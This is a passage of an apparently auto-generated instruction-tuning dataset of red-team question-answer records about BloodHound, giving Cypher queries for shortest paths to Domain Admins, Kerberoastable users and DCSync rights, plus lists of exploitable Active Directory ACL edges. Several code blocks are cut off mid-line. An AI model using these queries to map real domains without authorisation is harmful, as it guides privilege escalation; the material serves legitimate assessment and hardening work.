"use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046275Z", "updated_at": "2025-12-18T00:11:32.046275Z"} +{"id": "trtp-872982cdbef8", "instruction": "How do I read BloodHound output?", "output": "Interpreting BloodHound output:\n\nQuery results show paths as graphs - each edge is an attack opportunity\n\nExample output:\n```\n# Key queries:\n- Find all Domain Admins\n- Find Shortest Paths to Domain Admins\n- Find Principals with DCSync Rights\n- Find Kerberoastable Users\n- Shortest Paths to Unconstrained Delegation Systems\n- Find Computers where Domain Users are Local Admin\n- Shortest Paths to High Value Targets\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046286Z", "updated_at": "2025-12-18T00:11:32.046286Z"} +{"id": "trtp-19b5e7db6bb8", "instruction": "What best practices should I follow when using BloodHound?", "output": "Tips for using BloodHound:\n\n- Start with paths to DA\n- Check Kerberoastable users\n- Review unconstrained delegation\n\nUseful for: Quick security assessment, Attack path discovery, Vulnerability identification", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046298Z", "updated_at": "2025-12-18T00:11:32.046298Z"} +{"id": "trtp-8ea176e91351", "instruction": "How is BloodHound used in penetration testing?", "output": "Offensive security uses of BloodHound:\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.\n\nExample:\n```\n# Key queries:\n- Find all Domain Admins\n- Find Shortest Paths to Domain Admins\n- Find Principals with DCSync Rights\n- Find Kerberoastable Users\n- Shortest Paths to Unconstrained Delegation Systems\n- Find Computers where Domain Users are Local Admin\n- Shortest Paths to High Value Targets\n```\n\nCapabilities:\n- Quick security assessment\n- Attack path discovery\n- Vulnerability identification", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046312Z", "updated_at": "2025-12-18T00:11:32.046312Z"} +{"id": "trtp-ab1aaac837b7", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for BloodHound Pre-Built Queries:\n\n1. Understand the context: BloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.\n\n2. Apply the tool:\n```\n# Key queries:\n- Find all Domain Admins\n- Find Shortest Paths to Domain Admins\n- Find Principals with DCSync Rights\n- Find Kerberoastable Users\n- Shortest Paths to Unconstrained Delegation Systems\n- Find Computers where Domain Users are Local Admin\n- Shortest Paths to High Value Targets\n```\n\n3. Common scenarios: Quick security assessment, Attack path discovery, Vulnerability identification\n\n4. Best practices:\n - Start with paths to DA\n - Check Kerberoastable users", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046327Z", "updated_at": "2025-12-18T00:11:32.046327Z"} +{"id": "trtp-792b6dbe7750", "instruction": "What makes BloodHound useful for this task?", "output": "Advantages of BloodHound:\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.\n\nBest suited for:\n- Quick security assessment\n- Attack path discovery\n- Vulnerability identification\n- Risk prioritization\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046341Z", "updated_at": "2025-12-18T00:11:32.046341Z"} +{"id": "trtp-ddcce2bf4a3d", "instruction": "Can BloodHound be combined with other analysis methods?", "output": "Integration points for BloodHound:\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046355Z", "updated_at": "2025-12-18T00:11:32.046355Z"} +{"id": "trtp-83520b62c642", "instruction": "How do security analysts use BloodHound?", "output": "BloodHound Cypher Queries\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.\n\nPlatform: cross-platform\n\nCommon uses:\n- Custom analysis\n- Complex path finding\n- Specific vulnerability searches\n- Reporting queries", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046563Z", "updated_at": "2025-12-18T00:11:32.046563Z"} +{"id": "trtp-1e0ecd8ffc01", "instruction": "How do I use BloodHound?", "output": "Syntax for BloodHound:\n\nMATCH pattern RETURN results\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046577Z", "updated_at": "2025-12-18T00:11:32.046577Z"} +{"id": "trtp-c3896a686748", "instruction": "Demonstrate BloodHound Cypher Queries with an example.", "output": "Example of BloodHound Cypher Queries:\n\n```\n# Find all paths to Domain Admin\nMATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nWHERE NOT n=m\nRETURN p\n\n# Find users with admin rights\nMATCH (u:User)-[:AdminTo]->(c:Computer)\nRETURN u.name, c.name\n\n# Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nRETURN p\n\n# Find users who can DCSync\nMATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)\nRETURN n.name\n```\n\nInterpretation: Returns matching patterns from graph database", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046589Z", "updated_at": "2025-12-18T00:11:32.046589Z"} +{"id": "trtp-9ae7931b4e17", "instruction": "Provide an example of using BloodHound.", "output": "Here is a practical example of BloodHound:\n\n```\n# Find all paths to Domain Admin\nMATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nWHERE NOT n=m\nRETURN p\n\n# Find users with admin rights\nMATCH (u:User)-[:AdminTo]->(c:Computer)\nRETURN u.name, c.name\n\n# Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nRETURN p\n\n# Find users who can DCSync\nMATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)\nRETURN n.name\n```\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046599Z", "updated_at": "2025-12-18T00:11:32.046599Z"} +{"id": "trtp-2164c23cdf71", "instruction": "In what scenarios is BloodHound useful?", "output": "Use cases for BloodHound:\n\n- Custom analysis\n- Complex path finding\n- Specific vulnerability searches\n- Reporting queries\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046611Z", "updated_at": "2025-12-18T00:11:32.046611Z"} +{"id": "trtp-d482f347d5b0", "instruction": "What best practices should I follow when using BloodHound?", "output": "Tips for using BloodHound:\n\n- Use Raw Query in BloodHound UI\n- Test queries in Neo4j browser\n- Export results for reports\n\nUseful for: Custom analysis, Complex path finding, Specific vulnerability searches", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046627Z", "updated_at": "2025-12-18T00:11:32.046627Z"} +{"id": "trtp-8cc6e578f192", "instruction": "What capabilities does BloodHound provide for offensive security?", "output": "Offensive security uses of BloodHound:\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.\n\nCapabilities:\n- Custom analysis\n- Complex path finding\n- Specific vulnerability searches", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046641Z", "updated_at": "2025-12-18T00:11:32.046641Z"} +{"id": "trtp-bad652e7cb7b", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for BloodHound Cypher Queries:\n\n1. Understand the context: Custom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.\n\n2. Apply the tool:\n```\n# Find all paths to Domain Admin\nMATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nWHERE NOT n=m\nRETURN p\n\n# Find users with admin rights\nMATCH (u:User)-[:AdminTo]->(c:Computer)\nRETURN u.name, c.name\n\n# Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.COM'}))\nRETURN p\n\n# Find use\n```\n\n3. Common scenarios: Custom analysis, Complex path finding, Specific vulnerability searches\n\n4. Best practices:\n - Use Raw Query in BloodHound UI\n - Test queries in Neo4j browser", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046655Z", "updated_at": "2025-12-18T00:11:32.046655Z"} +{"id": "trtp-f157af4a7299", "instruction": "What makes BloodHound useful for this task?", "output": "Advantages of BloodHound:\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.\n\nBest suited for:\n- Custom analysis\n- Complex path finding\n- Specific vulnerability searches\n- Reporting queries\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046668Z", "updated_at": "2025-12-18T00:11:32.046668Z"} +{"id": "trtp-86950f5afa77", "instruction": "How does BloodHound integrate with other security tools?", "output": "Integration points for BloodHound:\n\nCustom Cypher queries enable advanced BloodHound analysis. Cypher is Neo4j's query language for traversing and analyzing graph data.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-cypher-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046541Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046683Z", "updated_at": "2025-12-18T00:11:32.046683Z"} +{"id": "trtp-340d6164a361", "instruction": "How do security analysts use BloodHound?", "output": "BloodHound Attack Paths\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.\n\nPlatform: cross-platform\n\nCommon uses:\n- Understand attack chains\n- Identify exploitation requirements\n- Plan attack simulation\n- Prioritize remediation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046892Z", "updated_at": "2025-12-18T00:11:32.046892Z"} +{"id": "trtp-887a910ba580", "instruction": "Show me the basic syntax for BloodHound.", "output": "Syntax for BloodHound:\n\nEdge types in graphs\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046905Z", "updated_at": "2025-12-18T00:11:32.046905Z"} +{"id": "trtp-15e58c84c0c7", "instruction": "Provide an example of using BloodHound.", "output": "Example of BloodHound Attack Paths:\n\n```\n# Common edge types:\nAdminTo - Local admin access\nMemberOf - Group membership\nHasSession - User session on computer\nCanRDP - RDP access\nCanPSRemote - PowerShell remoting\nExecuteDCOM - DCOM execution\nSQLAdmin - SQL Server admin\nReadLAPSPassword - Can read LAPS password\nAllExtendedRights - Can DCSync\nGenericAll - Full control\nGenericWrite - Can modify object\nWriteDacl - Can modify ACL\nWriteOwner - Can take ownership\nAddMember - Can add to group\n```\n\nInterpretation: Each edge = one attack step. Path length = attack complexity.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046917Z", "updated_at": "2025-12-18T00:11:32.046917Z"} +{"id": "trtp-cdf0b7860d5d", "instruction": "Provide an example of using BloodHound.", "output": "Here is a practical example of BloodHound:\n\n```\n# Common edge types:\nAdminTo - Local admin access\nMemberOf - Group membership\nHasSession - User session on computer\nCanRDP - RDP access\nCanPSRemote - PowerShell remoting\nExecuteDCOM - DCOM execution\nSQLAdmin - SQL Server admin\nReadLAPSPassword - Can read LAPS password\nAllExtendedRights - Can DCSync\nGenericAll - Full control\nGenericWrite - Can modify object\nWriteDacl - Can modify ACL\nWriteOwner - Can take ownership\nAddMember - Can add to group\n```\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046928Z", "updated_at": "2025-12-18T00:11:32.046928Z"} +{"id": "trtp-cf8674e2733c", "instruction": "What security tasks can I accomplish with BloodHound?", "output": "Use cases for BloodHound:\n\n- Understand attack chains\n- Identify exploitation requirements\n- Plan attack simulation\n- Prioritize remediation\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046941Z", "updated_at": "2025-12-18T00:11:32.046941Z"} +{"id": "trtp-483a5bc59799", "instruction": "What are common tips for BloodHound?", "output": "Tips for using BloodHound:\n\n- Shorter paths are higher priority\n- Some edges need credentials\n- Right-click edges for exploit info\n\nUseful for: Understand attack chains, Identify exploitation requirements, Plan attack simulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046956Z", "updated_at": "2025-12-18T00:11:32.046956Z"} +{"id": "trtp-5f9de1ab7521", "instruction": "What attack techniques can be performed with BloodHound?", "output": "Offensive security uses of BloodHound:\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.\n\nCapabilities:\n- Understand attack chains\n- Identify exploitation requirements\n- Plan attack simulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046969Z", "updated_at": "2025-12-18T00:11:32.046969Z"} +{"id": "trtp-70f2c88cab64", "instruction": "What is the typical workflow for using BloodHound?", "output": "Workflow for BloodHound Attack Paths:\n\n1. Understand the context: Attack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.\n\n2. Apply the tool:\n```\n# Common edge types:\nAdminTo - Local admin access\nMemberOf - Group membership\nHasSession - User session on computer\nCanRDP - RDP access\nCanPSRemote - PowerShell remoting\nExecuteDCOM - DCOM execution\nSQLAdmin - SQL Server admin\nReadLAPSPassword - Can read LAPS password\nAllExtendedRights - Can DCSync\nGenericAll - Full control\nGenericWrite - Can modify object\nWriteDacl - Can modify ACL\nWriteOwner - C\n```\n\n3. Common scenarios: Understand attack chains, Identify exploitation requirements, Plan attack simulation\n\n4. Best practices:\n - Shorter paths are higher priority\n - Some edges need credentials", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046984Z", "updated_at": "2025-12-18T00:11:32.046984Z"} +{"id": "trtp-e511436f5d12", "instruction": "When should I use BloodHound versus other similar tools?", "output": "Advantages of BloodHound:\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.\n\nBest suited for:\n- Understand attack chains\n- Identify exploitation requirements\n- Plan attack simulation\n- Prioritize remediation\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046997Z", "updated_at": "2025-12-18T00:11:32.046997Z"} +{"id": "trtp-e94cfd62af0b", "instruction": "How do I use BloodHound alongside other tools in my toolkit?", "output": "Integration points for BloodHound:\n\nAttack paths are chains of relationships that allow privilege escalation. BloodHound visualizes these as edges between nodes representing different attack techniques.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-attack-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046870Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047012Z", "updated_at": "2025-12-18T00:11:32.047012Z"} +{"id": "trtp-9a7febe48f7c", "instruction": "What do I need to know about BloodHound?", "output": "BloodHound ACL Abuse Paths\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).\n\nPlatform: cross-platform\n\nCommon uses:\n- Find misconfigured ACLs\n- Privilege escalation via ACLs\n- AD security hardening\n- Attack simulation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047200Z", "updated_at": "2025-12-18T00:11:32.047200Z"} +{"id": "trtp-6b399acbf11f", "instruction": "Show me the basic syntax for BloodHound.", "output": "Syntax for BloodHound:\n\nACL edge types in BloodHound\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047213Z", "updated_at": "2025-12-18T00:11:32.047213Z"} +{"id": "trtp-43beb0603669", "instruction": "Provide an example of using BloodHound.", "output": "Example of BloodHound ACL Abuse Paths:\n\n```\n# ACL abuse edges:\nGenericAll - Full control, can reset password or add to group\nGenericWrite - Can modify attributes (e.g., add SPN)\nWriteOwner - Can take ownership, then modify ACL\nWriteDACL - Can grant self GenericAll\nAddMember - Can add self to privileged group\nForceChangePassword - Can reset user password\n\n# Example path:\nUser A --[GenericAll]--> User B --[MemberOf]--> Domain Admins\n```\n\nInterpretation: ACL edges allow modifying AD objects to gain access", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047224Z", "updated_at": "2025-12-18T00:11:32.047224Z"} +{"id": "trtp-475e79560700", "instruction": "Give me a practical example of BloodHound.", "output": "Here is a practical example of BloodHound:\n\n```\n# ACL abuse edges:\nGenericAll - Full control, can reset password or add to group\nGenericWrite - Can modify attributes (e.g., add SPN)\nWriteOwner - Can take ownership, then modify ACL\nWriteDACL - Can grant self GenericAll\nAddMember - Can add self to privileged group\nForceChangePassword - Can reset user password\n\n# Example path:\nUser A --[GenericAll]--> User B --[MemberOf]--> Domain Admins\n```\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047235Z", "updated_at": "2025-12-18T00:11:32.047235Z"} +{"id": "trtp-d5e09176d90f", "instruction": "What are the use cases for BloodHound?", "output": "Use cases for BloodHound:\n\n- Find misconfigured ACLs\n- Privilege escalation via ACLs\n- AD security hardening\n- Attack simulation\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047247Z", "updated_at": "2025-12-18T00:11:32.047247Z"} +{"id": "trtp-95bcb6c0f6be", "instruction": "What are some tips for using BloodHound?", "output": "Tips for using BloodHound:\n\n- GenericAll on users = can reset password\n- WriteDACL = can grant any permission\n- Review ACLs on privileged groups\n\nUseful for: Find misconfigured ACLs, Privilege escalation via ACLs, AD security hardening", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047262Z", "updated_at": "2025-12-18T00:11:32.047262Z"} +{"id": "trtp-f9262d6a0d96", "instruction": "How do red teamers use BloodHound?", "output": "Offensive security uses of BloodHound:\n\nACL abuse paths exploit misconfigured Active Directory permissions. Common abuses include WriteDACL (modify permissions), WriteOwner (take ownership), and GenericAll (full control).\n\nExample:\n```\n# ACL abuse edges:\nGenericAll - Full control, can reset password or add to group\nGenericWrite - Can modify attributes (e.g., add SPN)\nWriteOwner - Can take ownership, then modify ACL\nWriteDACL - Can grant self GenericAll\nAddMember - Can add self to privileged group\nForceChangePassword - Can reset user password\n\n# Example path:\nUser A --[GenericAll]--> User B --[MemberOf]--> Domain Admins\n```\n\nCapabilities:\n- Find misconfigured ACLs\n- Privilege escalation via ACLs\n- AD security hardening", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-acl-abuse-paths", "license": "original", "retrieved_at": "2025-12-18T00:11:32.047179Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.047276Z", "updated_at": 